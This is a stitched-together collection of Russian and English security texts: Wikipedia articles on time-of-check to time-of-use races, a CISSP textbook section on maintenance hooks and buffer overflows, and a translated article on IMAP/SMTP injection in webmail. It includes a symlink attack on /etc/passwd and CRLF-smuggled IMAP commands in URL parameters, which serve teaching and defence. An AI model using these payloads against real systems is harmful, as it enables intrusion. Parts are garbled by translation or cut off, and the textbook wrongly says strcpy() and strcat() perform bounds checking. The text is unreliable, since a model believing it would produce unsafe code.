Ошибки времени проверки ко времени использования

From Wikipedia, the free encyclopedia

In software development, time-of-check to time-of-use (TOCTOU, TOCTTOU or TOC/TOU) is a class of software bugs caused by a race condition involving the checking of the state of a part of a system (such as a security credential) and the use of the results of that check.

TOCTOU race conditions are common in Unix between operations on the file system,^[1] but can occur in other contexts, including local sockets and improper use of database transactions. In the early 1990s, the mail utility of BSD 4.3 UNIX had an exploitable race condition for temporary files because it used the mktemp()^[2] function.^[3]
Early versions of OpenSSH had an exploitable race condition for Unix domain sockets.^[4] They remain a problem in modern systems; as of 2019, a TOCTOU race condition in Docker allows root access to the filesystem of the host platform.^[5] In the 2023 Pwn²Own competition in Vancouver, a team of hackers was able to compromise the gateway in updated Tesla model 3 using this bug.^[6]

Examples[edit]

In Unix, the following C code, when used in a setuid program, has a TOCTOU bug:

if (access("file", W_OK) != 0) {
    exit(1);
}

fd = open("file", O_WRONLY);
write(fd, buffer, sizeof(buffer));

Here, access is intended to check whether the real user who executed the setuid program would normally be allowed to write the file (i.e., access checks the real userid rather than effective userid).

This race condition is vulnerable to an attack:

if (access("file", W_OK) != 0) {
    exit(1);
}

fd = open("file", O_WRONLY);
// Actually writing over /etc/passwd
write(fd, buffer, sizeof(buffer));

// 
//
// After the access check
symlink("/etc/passwd", "file");
// Before the open, "file" points to the password database
//
//

In this example, an attacker can exploit the race condition between the access and open to trick the setuid victim into overwriting an entry in the system password database. TOCTOU races can be used for privilege escalation to get administrative access to a machine.

Although this sequence of events requires precise timing, it is possible for an attacker to arrange such conditions without too much difficulty.

The implication is that applications cannot assume the state managed by the operating system (in this case the file system namespace) will not change between system calls.

Reliably timing TOCTOU[edit]

Exploiting a TOCTOU race condition requires precise timing to ensure that the attacker’s operations interleave properly with the victim’s. In the example above, the attacker must execute the symlink system call precisely between the access and open. For the most general attack, the attacker must be scheduled for execution after each operation by the victim, also known as «single-stepping» the victim.

In the case of BSD 4.3 mail utility and mktemp(),^[2] the attacker can simply keep launching mail utility in one process, and keep guessing the temporary file names and keep making symlinks in another process. The attack can usually succeed in less than one minute.

Techniques for single-stepping a victim program include file system mazes^[7] and algorithmic complexity attacks.^[8] In both cases, the attacker manipulates the OS state to control scheduling of the victim.

File system mazes force the victim to read a directory entry that is not in the OS cache, and the OS puts the victim to sleep while it is reading the directory from disk. Algorithmic complexity attacks force the victim to spend its entire scheduling quantum inside a single system call traversing the kernel’s hash table of cached file names. The attacker creates a very large number of files with names that hash to the same value as the file the victim will look up.

Preventing TOCTOU[edit]

Despite conceptual simplicity, TOCTOU race conditions are difficult to avoid and eliminate. One general technique is to use error handling instead of pre-checking, under the philosophy of EAFP – «It is easier to ask for forgiveness than permission» rather than LBYL – «look before you leap» – in this case there is no check, and failure of assumptions to hold are signaled by an error being returned.^[9]

In the context of file system TOCTOU race conditions, the fundamental challenge is ensuring that the file system cannot be changed between two system calls. In 2004, an impossibility result was published, showing that there was no portable, deterministic technique for avoiding TOCTOU race conditions when using the UNIX access and open filesystem calls.^[10]

Since this impossibility result, libraries for tracking file descriptors and ensuring correctness have been proposed by researchers.^[11]

An alternative solution proposed in the research community is for UNIX systems to adopt transactions in the file system or the OS kernel. Transactions provide a concurrency control abstraction for the OS, and can be used to prevent TOCTOU races. While no production UNIX kernel has yet adopted transactions, proof-of-concept research prototypes have been developed for Linux, including the Valor file system^[12] and the TxOS kernel.^[13] Microsoft Windows has added transactions to its NTFS file system,^[14] but Microsoft discourages their use, and has indicated that they may be removed in a future version of Windows.^[15]

File locking is a common technique for preventing race conditions for a single file, but it does not extend to the file system namespace and other metadata, nor does locking work well with networked filesystems, and cannot prevent TOCTOU race conditions.

For setuid binaries a possible solution is to use the seteuid() system call to change the effective user and then perform the open(). Differences in setuid() between operating systems can be problematic.^[16]

See also[edit]

• Linearizability

References[edit]

Further reading[edit]

• Bishop, Matt; Dilger, Michael (1996). «Checking for Race Conditions in File Accesses» (PDF). Computing Systems. pp. 131–152.

• Tsafrir, Dan; Hertz, Tomer; Wagner, David; Da Silva, Dilma (2008). «Portably Solving File TOCTTOU Races with Hardness Amplification» (PDF). Proceedings of the 6th USENIX Conference on File and Storage Technologies (FAST ’08), San Jose (CA), February 26–29, 2008. pp. 189–206.

Термин « время проверки — время использования» (также сокращенно TOCTOU , TOCTTOU или TOC / TOU , произносится как TOCK-tuu ) описывает проблему , возникшую в результате программной ошибки ( программной ошибки ) и в конечном итоге. из компьютерных программ . Как правило, они относятся к форме состояния гонки ( состояние гонки ) в промежутке времени между проверкой состояния системы ( время проверки ) — например, если сделан доступ на запись к файлу — и использованием теста результаты ( время использования ) — например, желаемое изменение в этом файле — используется для изменения статуса проверки, в данном случае доступа на запись к файлу, и, таким образом, сделать результат проверки несущественным для дальнейшего запуска программы. Таким образом, например, проверка на вирусы, выполняемая антивирусной программой, возможно, не понадобится , если между проверкой файла на отсутствие вирусов и его использованием в последующей программной последовательности этот файл будет изменен таким образом, чтобы он содержал вирус или его активация или выполнение разрешены.

Термин был введен в 1996 году Мэттом Бишопом и Майклом Дилджером в этом контексте. Андрей Колишак описал ту же проблему с использованием хуков Windows в 2003 году .

Примеры

Веб-приложение может, например, разрешить своим пользователям изменять определенные страницы, но также дать администратору приложения возможность заблокировать страницы от изменений. Если пользователь хочет внести свое изменение, для него отображается маска ввода, в которой он может ввести или изменить свои данные. Система, пораженная проблемой TOCTTOU, позволила ему внести изменения в этот момент (время проверки), потому что она проверила его полномочия на внесение изменений. Однако, если администратор затем, после того, как пользователь получил права и до того, как он сохранил свои изменения, блокирует страницу от изменений и, таким образом, в принципе запрещает изменение, это действие администратора происходит в неисправной системе, когда данные пользователя впоследствии сохраняются. и, таким образом, во время использования (Time-of-Use) разрешения на запись можно игнорировать.

В Unix следующий раздел программы, написанной на C , имел бы проблему TOCTTOU, если бы он использовался для программы с правами setuid :

if (access(file, R_OK) != 0) {
 exit(1);
}

fd = open(file, O_RDONLY);
// do something with fd…

Этот раздел программы предназначен для проверки того, имеет ли зарегистрированный пользователь, использующий эту программу, права своей учетной записи ( Real Userid , в отличие от Effective Userid , который может содержать другие права ) на чтение определенного файла (здесь file ) ( R_OK для чтения, немецкое чтение). Эта гоночная ситуация открывает следующую возможность атаки:

1. Вы создаете файл, который может читать пользователь.
2. Вы запускаете эту программу.
3. Вы меняете файл на символическую ссылку ( символическую ссылку ), которая указывает на файл, который не может быть прочитан пользователем.

Злоумышленник вполне может создать эти условия для атаки. Однако этот процесс требует точного выбора времени для отдельных действий.

В этом случае следует, что в текущих системах Unix используется доступ к системному вызову (системному вызову), который используется здесь, в особых случаях, таких как первый шаг, исключительный для получения прав доступа ( мьютекс , тест и проверка и установка. ).

литература

• Мэтт Бишоп, Майкл Дилджер: Проверка условий гонки при доступе к файлам . (PDF; 182 kB) В: Computing Systems , Vol. 9, No. 2, 1996, с. 131–152 (английский)
• Никита Борисов, Роб Джонсон, Навин Састри, Дэвид Вагнер: исправление гонок ради развлечения и прибыли: как злоупотреблять временем . Материалы 14-й конференции по симпозиуму по безопасности USENIX (Security’05), Балтимор (Мэриленд), 31 июля — 5 августа 2005 г., том 14, 2005 г., стр. 303–314 (на английском языке)
• Дэн Цафрир, Томер Герц, Дэвид Вагнер, Дилма да Силва: переносимое решение гонок TOCTTOU файла с усилением твердости . (PDF; 632 kB) Труды 6-й конференции USENIX по файловым технологиям и технологиям хранения (FAST ’08), Сан-Хосе (Калифорния), 26–29 февраля 2008 г., стр. 189–206 (английский)

веб ссылки

• seclab.cs.ucdavis.edu (PDF)
• seclists.org
• cwe.mitre.org

В этой части рассмотрены следующие вопросы:

• Анализ нескольких угроз
• Закладки для поддержки
• Атаки времени проверки / времени использования
• Переполнение буфера
• Что такое стек и как он работает?
• Резюме

Обновлено: 03.05.2010

Итак, мы поговорили, как все это предположительно должно работать, теперь посмотрим на несколько вещей, в которых можно ошибиться, проектируя систему.

Программное обеспечение практически всегда имеет ошибки и уязвимости. Богатая функциональность, требуемая пользователями, ведет к повышению сложности, что в свою очередь открывает дверь проблемам компьютерного мира. Атакующие постоянно ищут способы использования различных функций систем для проведения атак и очень часто находят уязвимости. Всегда будут полицейские и грабители, всегда будут атакующие и специалисты по безопасности. Это игра, в которой один старается перехитрить другого, чтобы победить.

ПРИМЕЧАНИЕ. Университет Карнеги-Мелона установил, что на каждые 1000 строк кода приходится от 5 до 15 ошибок. Windows 2000 имеет 40-60 миллионов строк кода.

В мире программирования закладки для поддержки (maintenance hook) являются разновидностью черного хода (backdoor). Разработчик добавляет в программу команды, позволяющие получить простой доступ к коду, которые только он сам знает как вызвать. Это позволяет разработчику просматривать и редактировать код без прохождения через стандартную процедуру управления доступом. На этапе разработки программного обеспечения такие закладки могут быть очень полезны, но если они не были удалены перед передачей системы в промышленную эксплуатацию, они могут стать причиной серьезных проблем с безопасностью.

Закладки для поддержки обычно инициируются «случайной» последовательностью клавиш и позволяют получить доступ в программное обеспечение без прохождения через обычный процесс управления доступом, проверок и механизмов безопасности.

Приложение, которое имеет закладки для поддержки, позволяет разработчику выполнить определенные команды, используя определенные последовательности клавиш. При этом разработчик может работать внутри приложения, напрямую видеть код или конфигурационные файлы. Он может увидеть проблемные места в коде, проверить значения переменных, экспортировать дополнительный код в программу, исправить выявленные недостатки. Хотя это звучит прекрасно и здорово при использовании разработчиком, атакующий, найдя эти закладки, сможет выполнить крайне опасные действия. Поэтому все закладки должны быть удалены из программного обеспечения до начала его промышленной эксплуатации.

ПРИМЕЧАНИЕ. Многие полагают, что раз в настоящее время люди больше думают о безопасности, то и закладки для поддержки остались в прошлом. Но это не так. Разработчики продолжают использовать закладки для поддержки, потому что они недостаточно хорошо понимают и заботятся о вопросах безопасности. Множество закладок по-прежнему остается в старом программном обеспечении, которое используют компании.

Контрмеры:

Так как закладки для поддержки обычно вставляются программистами, они единственные, кто может удалить их до внедрения программы в промышленную эксплуатацию. Анализ кода и модулей, качественное тестирование должны выявить все черные ходы, пропущенные программистом. Поскольку закладки для поддержки расположены в коде приложения или системы, пользователь практически ничего не может сделать, чтобы предотвратить их присутствие. Когда производитель находит в коде своего продукта черный ход, обычно он выпускает патч, снижающий или устраняющий эту уязвимость. Т.к. большинство производителей продает свое программное обеспечение без исходных текстов, купившим его компаниям очень сложно выявить в нем черные ходы. Ниже представлен список некоторых превентивных мер против черных ходов:

• Используйте системы IDS уровня хоста, чтобы выявить факт использования черного хода атакующим;
• Используйте шифрующие файловые системы для защиты критичной информации;
• Внедрите аудит для выявления фактов использования черных ходов.

Некоторые атаки могут использовать в своих интересах способы обработки системных вызовов и выполнения задач. Атаки «времени проверки» / «времени использования» (TOC/TOU – time-of-check/time-of-use) связаны с последовательностью шагов, выполняемых системой для завершения задачи. Это тип атак использует в своих целях зависимость от времени событий, происходящих в многозадачной операционной системе.

Как было сказано ранее, операционные системы и приложения в действительности являются просто множеством строк команд. Операционная система может выполнять команду 1, за ней команду 2, потом 3 и т.д. в зависимости от того, как написана программа. Если атакующий сможет вмешаться между командами 2 и 3 и оказать некоторое воздействие, он сможет получить контроль над результатом этой деятельности.

Приведем пример TOC/TOU-атаки. Процесс 1 проверяет авторизацию пользователя для открытия ему некритичного текстового файла, процесс 2 выполняет команду открытия. Если атакующий сможет подменить этот некритичный текстовый файл файлом, содержащим пароли, в то время, пока процесс 1 выполняет свою задачу, он сможет получить доступ к этому файлу. Возможность проведения такой атаки однозначно указывает на недостаток в коде программного обеспечения.

ПРИМЕЧАНИЕ. Этот тип атаки также называют асинхронной атакой. Асинхронным называется такой процесс, в котором время каждого шага может меняться. Атака происходит между этими шагами и изменяет что-то. Иногда TOC/TOU-атаки считают разновидностью атак соревнования (race conditions).

Атака совервнования (race condition) становится возможна, когда два различных процесса должны выполнить свои задачи с использованием одного и того же ресурса. Процессы должны работать в правильной последовательности. Процесс 1 должен выполнить свою работу до того момента, как процесс 2 получит доступ к тому же ресурсу и приступит к выполнению своей работы. Если процесс 2 начнет раньше процесса 1, результат может быть совсем другим. Если атакующий может управлять процессами, так, чтобы заставить процесс 2 начать первым, он может управлять результатом процедуры. Скажем, что командой процесса 1 является прибавление 3 к значению, а командой процесса 2 – деление значения на 15. Если процесс 2 выполнит свою команду первым, результат будет другим. Таким образом, если атакующий может заставить процесс 2 выполниться раньше процесса 1, он может управлять результатом.

Посмотрим на эту проблему с точки зрения безопасности. Существует несколько типов достаточно опасных атак соревнования. Если система разделяет шаги аутентификации и авторизации, атакующий может быть авторизован до прохождения аутентификации. Например, в нормальной последовательности, процесс 1 проводит аутентификацию до того как позволит пользователю получить доступ к ресурсу, а процесс 2 авторизует пользователя для доступа к ресурсу. Если атакующий заставит процесс 2 выполниться раньше процесса 1, он может получить доступ к ресурсу без прохождения процедуры аутентификации.

Хотя термины «атака соревнования» и «TOC/TOU-атака» иногда используют, подразумевая одно и тоже, на самом деле это две разных вещи. В атаке соревнования атакующий заставляет процессы выполниться в неправильной последовательности для получения контроля над результатом. В TOC/TOU-атаке атакующий попадает между двух задач и изменяет что-то для контроля над результатом.

Контрмеры

Достаточно сложно обеспечить высокую точность при проведении этих типов атак, но это возможно и реализуется на практике. Для защиты от атак соревнования лучше всего не разделять критичные задачи, которые недопустимо выполнять в иной последовательности. Это означает, что система должна использовать атомарные операции, в рамках которых только один системный вызов должен использоваться и для проверки аутентификации, и для последующего предоставления доступа в рамках одной задачи. У процессора не должно быть возможности переключиться на другой процесс до окончания выполнения этих двух операций. К сожалению, использование соответствующих типов атомарных операций не всегда возможно.

Чтобы избежать TOC/TOU-атаки лучше всего, если операционная система может применять программные блокировки к элементам, которые будут использоваться при выполнении задач «проверки». Так, если пользователь запрашивает доступ к файлу, система на время проведения его авторизации применяет программную блокировку к запрашиваемому файлу. Это гарантирует, что файл не может быть удален или заменен другим файлом. Применение таких блокировок легко реализовать для файлов, но применять их к компонентам баз данных и содержимому таблиц может быть значительно более сложной задачей.

В настоящее время многие знакомы с термином «переполнение буфера» и его определением, но для специалистов по безопасности важно понимать его более глубоко.

Переполнение буфера (buffer overflow) происходит, когда приложением или операционной системой принимается слишком много входящих данных. Буфер – это некий выделенный сегмент памяти. Буфер может быть переполнен слишком большим объемом данных. Чтобы этим мог воспользоваться атакующий и запустить свой код на выполнение, вставляемый в буфер код должен иметь строго определенную длину. Таким образом, целью переполнения буфера может быть нарушение работы приложения путем записи произвольных данных в различные сегменты памяти; либо выполнение определенной задачи, путем введения в определенный сегмент памяти специально подготовленного набора данных, который выполнит эту задачу. Задача может заключаться, например, в открытии командной оболочки с административными полномочиями или выполнении вредоносного кода.

Давайте поглубже рассмотрим как это делается. Программное обеспечение может быть написано для получения данных от пользователя, веб-сайта, базы данных или другого приложения. Принятые данные требуют выполнения какого-либо действия, они принимаются для некого типа манипуляций или расчетов, либо использования в качестве параметра процедуры. Процедура – это часть кода, которая может выполнять определенные действия над данными и возвращать результат вызвавшей ее программе, как это показано на Рисунке 3-21.

Рисунок 3-21. Стек использует отдельный буфер для хранения команд и данных

Когда программист пишет фрагмент кода, принимающий данные, он организовывает хранение этих данных в переменной. При вызове программой некой процедуры для выполнения определенной функции, она сохраняет необходимые инструкции и данные (параметры) в сегменте памяти, чтобы процедура смогла прочитать их и использовать в своей работе. (Стек памяти рассматривался ранее в этом Домене, но мы снова вернемся к нему в этом разделе).

Принятые от внешнего источника данные, размещаются в переменной. Эта переменная расположена в области памяти, которая называется буфером. Буфер похож на контейнер памяти для данных. Буфер должен быть достаточного размера, чтобы вместить все принятые данные. Так, если ожидается ввод одного символа, буфер должен иметь размер в 1 байт. Если программист не убедился, что получен только 1 байт, кто-то может ввести несколько символов и переполнить этот буфер.

Буфер хранит данные, размещающиеся в стеке памяти. Представьте, что буфер – это маленькое ведро с водой (данными). У нас есть несколько таких ведер, расположенных один над другим (стек). Если слишком много воды налить в верхнее ведро, вода перельется в стоящие ниже ведра (переполнение буфера) и перезапишет инструкции и данные в стеке памяти.

Что такое стек и как он работает?

Если вы работаете с приложением, которое считает процентную ставку по ипотеке, вы вводите в качестве параметров для расчета срок кредита и сумму кредита. Эти параметры будут сохранены в пустых переменных и размещены в некой линейной конструкции (стеке памяти), которая действует как очередь операций извлечения данных для выполнения расчета. Первая задача вашего приложения расчета ипотечной ставки – разместить указатель возврата (return pointer). Это указатель на адрес памяти запрашивающего приложения, который говорит процедуре, как вернуть управление запрашивающему приложению после обработки ей всех значений в стеке. Затем приложение переходит к адресу выше указателя возврата, и размещает там оставшиеся данные (введенные пользователем). После этого приложение отправляет запрос процедуре для выполнения необходимых вычислений, как показано на Рисунке 3-21. Процедура берет данные из стека, начиная сверху (первым пришел – последним ушел, FILO – first in, last off). Процедура выполняет эти функции над всеми данными и возвращает результат и управление обратно приложению, используя указатель возврата в стеке.

Таким образом, стек – это просто сегмент памяти, который позволяет обмениваться информацией между запрашивающим приложением и подпрограммой (процедурой). Потенциальные проблемы появляются в случае, если запрашивающее приложение не выполняет надлежащую проверку границ, т.е. не убеждается, что введенные данные имеют приемлемую длину. Посмотрите на следующий код на Си, чтобы понять, как это происходит:

#include
int main(int argc, char **argv)
{
char buf1 [5] = «1111»;
char buf2 [7] = «222222»;
strcpy (buf2, «3333333333»);
printf («%s\n», buf2);
printf («%s\n», buf1);
return 0;
}

ПРЕДУПРЕЖДЕНИЕ. Вам не обязательно знать язык Си, чтобы сдать экзамен CISSP. Мы углубились в этот вопрос потому, что переполнение буфера является общей и серьезной уязвимостью уже много лет. Для сдачи экзамена вам достаточно понимать общую концепцию переполнения буфера.

Итак, сначала мы установили длину буфера buf1 равной четырем символам, а буфера buf2 – шести символам. Для обоих буферов установлено начальное значение NULL (значение NULL указывает на конец буфера в памяти). Если мы сейчас посмотрим содержимое этих буферов, мы увидим следующее:

Buf2
\0 2 2 2 2 2 2
Buf1
\0 1 1 1 1

Затем наше приложение записывает десять троек в buf2, который может хранить только шесть символов. При этом шесть символов будет записано в buf2, а еще четыре символа – в buf1, затирая расположенные в нем ранее данные. Это происходит потому, что команда strcpy не проверяет, имеет ли буфер достаточную длину для хранения нужного количества символов. Так, теперь мы увидим следующее содержимое буферов:

Buf2
\0 3 3 3 3 3 3
Buf1
\0 3 3 3 3

Но результат будет еще интереснее, если будет перезаписан указатель возврата, как это показано на Рисунке 3-22. Тщательно подготовленная атака переполнения буфера обеспечивает перезапись указателя возврата на контролируемое значение с целью выполнения загруженных в стек вредоносных команд, вместо возврата управления запросившему приложению. Это позволяет выполнить вредоносные команды в контексте безопасности запросившего приложения. Если приложение работает в привилегированном режиме, атакующий получает более обширный доступ и привилегии для нанесения большего ущерба.

Рисунок 3-22. Атака переполнения буфера

Атакующий должен знать размер буфера, чтобы его переполнить, а также он должен знать связанные со стеком адреса. Без знания этих адресов он не сможет установить новый указатель возврата на свой вредоносный код. Атакующий должен сделать свое вредоносное вложение достаточно маленьким по размеру, чтобы его можно было поместить в данные, передаваемые от одной процедуры к другой.

Ядро Windows написано на языке Си и имеет несколько слоев объектно-ориентированного кода над собой. Когда процедуре нужно вызвать операционную систему для выполнения некой задачи, она обращается к системной службе посредством API-вызова. API работает как дверь к функциям операционной системы.

Язык Си чувствителен к атакам переполнения буфера, т.к. он позволяет использовать прямые операции с указателями. Отдельные команды могут предоставить доступ к низкоуровневым адресам памяти без проверки границ. Функции Си, которые выполняют необходимую проверку границ, это sprintf(), strcat(), strcpy() и vsprintf().

Операционная система должна быть написана для работы с конкретными архитектурами процессоров. Эти архитектуры диктуют адресацию системной памяти, защитные механизмы, режимы выполнения, работу с определенными наборами команд. Это означает, что атака переполнения буфера, работающая на процессорах Intel, не обязательно будет работать на процессорах Motorola или SPARC. Эти различные процессоры используют различную адресацию памяти стека, поэтому атакующий должен иметь несколько вариантов кода переполнения буфера для различных платформ. Обычно это не является проблемой, т.к. в последнее время такой код уже написан и доступен на хакерских веб-сайтах.

Контрмеры

Недостатки, позволяющие провести переполнение буфера, содержатся в исходном коде различных приложений и операционных систем. Они были с тех пор, как программисты начали разрабатывать программное обеспечение. Пользователю очень сложно выявить и исправить их. Когда выявляется возможность переполнения буфера, производитель обычно рассылает патч. Таким образом, установка на систему всех актуальных исправлений, обновлений, патчей обычно является лучшей контрмерой. Существуют некоторые продукты, которые устанавливаются на систему и следят за входными значениями, выявляя попытки переполнения буфера. Однако идеальной контрмерой является качественное программирование, что означает надлежащее выполнение проверки границ. Если вводимое значение должно иметь длину девять символов, приложение должно принимать только девять символов и не более. Некоторые языки программирования более чувствительны к переполнению буфера, чем другие. Программисты должны понимать это и выбирать правильные языки в соответствии с поставленными целями, выполнять анализ кода для выявления уязвимостей переполнения буфера.

Архитектура компьютерных систем очень важна, она включает в себя множество различных аспектов.

Система должна обеспечить, чтобы память правильно разделялась и защищалась, чтобы только уполномоченные субъекты могли использовать объекты, чтобы недоверенные процессы не могли выполнять действий, которые могут подвергнуть риску другие процессы. Также, система должна обеспечить управление потоками информации и определить домены ресурсов для каждого субъекта. Если на компьютере произошел какой-либо сбой, система не должна перейти из-за этого в небезопасное состояние. Многие из этих вопросов учитываются в политике безопасности системы и в модели безопасности, созданной для поддержки требований этой политики.

После разработки политики безопасности, модели и архитектуры, операционная система (или другой продукт) должна быть разработана, протестирована, затем она должна пройти процедуру оценки и ей должен быть присвоен соответствующий рейтинг. Оценка реализуется путем сравнения системы с заранее определенными критериями. Рейтинг присваивается системе в зависимости от того, как она выполняет требования этих критериев. Покупатели используют этот рейтинг, чтобы понять, что они реально покупают, и насколько они могут доверять этому новому продукту. После покупки продукта, покупатель должен протестировать его в своей среде, чтобы быть уверенным, что он соответствует потребностям компании. Это выполняется в рамках процессов сертификации и аккредитации.

By Vicente Aguilera Diaz

Введение

Веб-приложения электронной почты используют протоколы IMAP и SMTP для обеспечения взаимодействия пользователя с его почтовым ящиком. По сути, это означает, что они являются прокси между приложением клиента и почтовым сервером, для выполнения установленных действий.

Это взаимодействие начинается в тот момент, когда пользователь посылает свои учётные данные (логин и пароль) для того чтобы авторизоваться, используя веб-приложение. В этой точке, предполагая, что IMAP сервер поддерживает метод аутентификации «LOGIN», веб-приложение связывается с IMAP сервером, посылая следующую команду:

AUTH LOGIN <user> <password>

Затем приложение анализирует возвращаемый сервером ответ и, в зависимости от его содержимого, запрещает либо запрещает доступ пользователя к его ящику.

Таким же образом приложение переводит различные действия пользователя в команды IMAP и SMTP которые посылаются соответствующему серверу. Однако возможный функционал ограничен веб-приложением, так как пользователь не может инициировать IMAP или SMTP команды отличные от тех, которые определены в веб-приложении. С другой стороны, пользователь обладает возможностью изменять команды IMAP и SMTP команды, передаваемые почтовым серверам.

 Также как и в многократно описанных технологиях SQL, LDAP, SSI, Xpath и CRLF инъекций, технология MX инъекции позволяет внедрение произвольных IMAP или SMTP команд почтовому серверу через веб-приложение, некорректно обрабатывающее предоставленные пользователем данные.

Техника MX инъекций особенно полезна в тех случаях, когда почтовый сервер, использующийся веб-приложением, напрямую недоступен из интернет (см. рис 1). Процесс внедрения произвольных команд подразумевает, что пользователю через веб-приложение доступны порты 25(smtp) и 143(imap).

На рисунке выше представлен запрос пользователя веб-приложению для совершения операции с почтовым ящиком. Шаги 1,2 и 3 показывают стандартный запрос через веб-приложение. Шаги 1 и 2’ представляют, что пытается сделать атакующий, использующий MX инъекцию.

Для атакующего, пользующегося техникой MX инъекций, порты почтового сервера, обычно закрытые файрволом, доступны «напрямую». Использование этой техники допускает большое количество воздействий и видов атак. Открывающиеся же возможности зависят от типа сервера, для которого проводится инъекция. Как уже было сказано во введении, веб-приложения электронной почты переводят запросы от пользователей в команды протоколов IMAP и SMTP. В следующей главе я объясню, как мы сможем эксплуатировать оба протокола.

 IMAP инъекции.

В данном случае инъекция команды делается для IMAP сервера, поэтому она должна соответствовать спецификации этого протокола. Веб-приложения электронной почты связываются с IMAP сервером чтобы выполнить необходимые операции, и по этой причине они более уязвимы для атак подобного рода.

Во время аутентификации пользователя приложение передаёт учётные данные IMAP серверу, таким образом IMAP инъекции могут иметь место без необходимости наличия валидного аккаунта в приложении, эксплуатируя в данном случае механизм авторизации непосредственно IMAP сервера.

Перед внедрением команд пользователь должен все определить параметры, использующиеся в процессе связи с веб-приложением и связанные с функционированием приложения, такие как:

• аутентификация/login/logout
•    операции с почтовым ящиком (list/read/create/delete/rename)
• операции с сообщениями (read/copy/move/delete)

Давайте для примера рассмотрим IMAP инъекцию эксплуатирующую функцию прочтения сообщения. Предположим, что веб-приложение использует параметр «message_id» для хранения идентификатора сообщения, которое пользователь запрашивает для прочтения. Запрос, содержащий идентификатор сообщения, при посылке выглядит так:

  http://<webmail>/read_email.php?message_id=<number> 

Предположим, что со страницы “read_email.php”, ответственной за отображение соответствующего сообщения, запрос передаётся серверу без проведения каких-либо проверок значения <number>, передаваемого пользователем. Команда, посылаемая серверу, будет выглядеть так:

FETCH <number> BODY[HEADER]

В этом контексте злоумышленник может провести атаку IMAP инъекцией через параметр “message_id» используемый приложением для связи с почтовым сервером. Например команда IMAP протокола “CAPABILITY” может быть внедрена через следующую последовательность:

http://<webmail>/read_email.php?message_id=1 BODY[HEADER]%0d%0aZ900 CAPABILITY%0d%0aZ901 FETCH 1

Это приведёт к посылке следующей последовательности команд IMAP серверу:

FETCH 1 BODY[HEADER]

BODY[HEADER]

И страница, возвращаемая сервером будет показывать результат команды «CAPABILITY» от IMAP сервера: * CAPABILITY IMAP4rev1 CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES

  SORT QUOTA ACL ACL2=UNION

  Z900 OK CAPABILITY completed

 SMTP инъекция

В этом случае внедрение команд производится в SMTP сервер, поэтому внедряемые команды должны следовать этому протоколу. Из-за того, что все проводимые операции разрешены приложением, используя SMTP протокол мы, проще говоря, имитируем отсылку письма. Использование SMTP инъекции предполагает, что пользователь предварительно аутентифицировался, т.е. необходимо чтобы имелся активный пользовательский аккаунт.

Ниже приведён формат письма, посылаемого через SMTP:

• отправитель
• получатель
• тема
• тело письма
• присоединённые файлы

Давайте на примере рассмотрим технику SMTP инъекции чрез параметр, который содержит тему письма.

Как я уже объяснил ранее, при использовании данного метода необходимо, чтобы пользователь был аутентифицировал себя, тогда инъекция SMTP команды будет произведена в параметр, ассоциированный с темой отсылаемого письма. В общем случае, веб-приложение электронной почты предоставляет пользователю форму, где он должен ввести необходимую информацию, она затем будет передана процедуре, которая ответственна за создание SMTP команд, необходимых для посылки данного письма.

Типичный запрос для отправки письма будет выглядеть так:

 POST http://<webmail>/compose.php HTTP/1.1

Он сгенерирует следующую последовательность команд SMTP:

MAIL FROM: <mailfrom>

….

Если приложение не достаточно корректно проверяет значение параметра «Subject», атакующий сможет внедрить в него дополнительные SMTP команды:

POST http://<webmail>/compose.php HTTP/1.1

——————————134475172700422922879687252

Команды внедренные в примере выше произведут следующую последовательность SMTP команд, которая будет отослана почтовому серверу и будет включать команды MAIL FROM, RCPT TO и DATA, как показано ниже:

   MAIL FROM: <mailfrom>

 MX инъекции: каковы преимущества?

Публикации и обсуждения о подобных инъекциях в почтовые системы существовали и до этой статьи. С уверенностью модно сказать, что наиболее известной является CRLF инъекция в функцию PHP mail().

Тем не менее, они состоят только из частичного внедрения кода, как в случае внедрения заголовков письма. Этот тип инъекций позволит реализовать различные операции (рассылка анонимных писем, спамрелеинг, итд.) которые также возможы с техникой MX инъекций, так как базируются на одном и том же типе уязвимости.

Преимущество же данной техники состоит в возможности полноценной передачи команд уязвимым серверам без каких либо ограничений. Другими словами, её использование допускает не только внедрение заголовков, («From», «Subject», «To», итд.), но и произвольных команд в почтовый сервер (IMAP/SMTP) связанный с веб-приложением.

MX инъекция позволяет обойти стандартный функционал веб-приложения электронной почты (например, разослать большие объёмы почты). Эта техника позволит выполнить дополнительные действия, невозможные непосредственно через веб-приложение (например, спровоцировать переполнение буфера через команду протокола IMAP).

Возможность внедрения произвольных команд будет особенно интересна специалистам по безопасности (pen-testers), так как позволяет использование уязвимостей которые в некоторых ситуациях могут привести к получению полного управления сервером.

 Создание атак

Далее я приведу несколько примеров различных типов атак на почтовые сервера, а также практические примеры использования техники MX-инъекций.

Реальные ситуации были смоделированы на web-приложениях SquirrelMail (версии 1.2.7 и 1.4.5) и Hastymail (версии 1.0.2 и 1.5). SquirellMail версии 1.2.7 более не поддерживается командой SquirellMail, поэтому рекомендуется обновиться как минимум до версии 1.4.6, так как все предыдущие версии уязвимы к данным типам атак. Все версии Hastymail версии младше 1.5 также уязвимы к SMTP и IMAP инъекциям и пользователям настоятельно рекомендовано использовать последние патчи.

Команды разработчиков SquirellMail и Hastymail были уведомлены об уязвимостях и обе быстро предоставили заплатки. Вскоре после этого был выпущен плагин для Nessus, предназначенный для проверки наличия данных уязвимостей.

Атаку необходимо проводить в два приёма:

•   определить уязвимый параметр.
• выяснить, насколько широко можно его использовать.

 Определение уязвимого параметра.

Идентификация уязвимых параметров может быть проведена тем же путем, что и при проверке на другие типы инъекций, т.е. проверкой поведения сервера в нестандартной ситуации. А именно, посылкой приложению необычных значений для каждого из параметров передаваемых далее как часть IMAP либо SMTP протокола, и попытками определить наличие подтверждения уязвимости.

Рассмотрим пример:

Когда пользователь получает доступ к папке INBOX своего почтового аккаунта, запрос к SquirellMail выглядит так:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX

Если пользователь изменит значение «mailbox» таким образом:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX%22

, то приложение отреагирует выдачей сообщения ошибке:

  ERROR : Bad or malformed request.

Очевидно это не должно быть нормальным поведением приложения. Это сообщение об ошибке по мимо всего прочего говорит о том, что была попытка выполнить команду IMAP “SELECT”. Используя эту процедуру, мы можем установить, что параметр “mailbox” подвержен атакам типа MX-инъекция, а в частности IMAP-инъекциям.

